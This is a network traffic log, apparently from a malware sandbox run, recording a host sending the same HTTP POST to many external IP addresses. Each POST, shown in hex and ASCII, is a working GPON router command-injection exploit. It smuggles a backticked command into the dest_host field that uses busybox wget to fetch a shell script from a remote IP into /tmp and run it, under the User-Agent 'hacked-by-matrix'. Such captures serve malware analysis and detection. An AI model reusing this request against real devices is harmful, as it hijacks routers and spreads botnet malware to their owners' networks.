Mar 21, 2024 05:16:57.528588057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.13	34424	37.91.83.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.556488991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.13	33034	37.193.128.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.565979004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.13	55302	5.103.76.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.565994978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.13	56922	42.160.164.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566046953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.13	52064	2.95.182.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566059113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.13	42516	2.108.24.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566118956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.13	55660	37.68.44.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566123962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.13	37394	37.224.236.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566127062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.13	38906	37.132.88.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566179037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.13	54616	109.197.241.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566184044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.13	49994	42.89.255.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566234112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.13	39228	118.175.172.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566272020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.13	59578	212.248.83.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566303968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.13	44902	118.19.115.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566317081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.13	33404	178.32.103.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566339016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.13	39092	118.61.194.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566353083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.13	48488	2.50.31.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566385031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.13	35420	79.131.224.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566448927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.13	59656	37.242.132.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566483021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.13	56686	5.174.6.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566505909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.13	36462	79.216.235.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.566559076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.13	38772	5.180.122.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.579507113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.13	55412	178.151.14.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.579562902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.13	43830	37.144.76.90	443

Timestamp	Bytes transferred	Direction	Data
